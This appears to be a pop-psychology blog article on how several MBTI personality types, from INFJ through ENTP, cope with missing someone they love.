Missing someone you love for whatever reason is always hard to endure. For some it is even more challenging and cuts even deeper to be without someone they care for. Missing people is a part of life, some people simply cope with these feelings better than others. Here is how you handle missing someone, based on your personality type.
INFJ
For INFJs missing someone isn’t always a painful thing, it is about the emotional distance between them. If they are physical separated from a loved one for a while, they can handle this fairly well as long as they still feel intimate and emotionally connected to them. INFJs don’t mind being alone most of the time, they don’t need to constantly be near someone in order to feel connected to them. If they are missing someone because they are no longer in their lives or they feel distant from them emotionally, then the INFJ will take this harshly. This type of pain is something that stays with them forever in some ways, especially if the person did nothing to intentionally hurt the INFJ.
ENFJ
ENFJs can struggle when they are missing someone they love, especially if they feel truly distant from them emotionally. They want to feel close to their loved ones and enjoy connecting with them as much as they can. ENFJs don’t mind being separated from someone for a short time, but in most situations it can be painful for them. They don’t like having to miss someone, and would much rather be building on their closeness and relationship in a way that makes them feel like they don’t have to miss one another.
INFP
INFPs don’t mind the feeling of missing someone they love, especially if they still are emotionally close to that person. Being separated physically isn’t always the worst thing for INFPs, and can sometimes even grow that bond in a deeper way. They don’t mind the feeling of missing someone as long as they think of another fondly, and still feel connected in an emotional and spiritual manner. Sometimes missing someone can be a good thing, since it helps give them time to process their inner emotions and come to realize just how deep those feelings are.
ENFP
ENFPs can sometimes struggle with the feelings of missing someone, and they often feel saddened by this. They want to be around the people they love, and don’t like having to miss them for too long. A little time missing someone isn’t horrible for them, since they do enjoy being able to process their feelings and realize how much they truly care. ENFPs simply don’t want to have to miss someone for too long, and can become a bit depressed when they are separated from the people they feel deeply connected to. They feel things so deeply, and don’t want to lose those connections.
INTJ
INTJs often don’t mind missing someone, since they enjoy being on their own most of the time. If they care about someone that does not simply go away because they are separated, and they often have that person in their thoughts. As long as the INTJ feels connected to someone and committed to them, the distance does not matter. They don’t become upset simply because they miss someone, and often enjoy this time to be away from one another and fully process how they feel about them. INTJs are unlikely to miss someone who is no longer in their lives by choice, and are good at moving on from those situations.

ENTJs don’t mind missing people, as long as they are committed to them and feel that commitment reciprocated. ENTJs don’t need to be around their loved ones constantly in order to feel connected to them.

ENTP
ENTPs don’t mind missing people for a little while, but eventually this can wear on them. For the ENTP it entirely depends on who the person is and what their place in their life is meant to be.
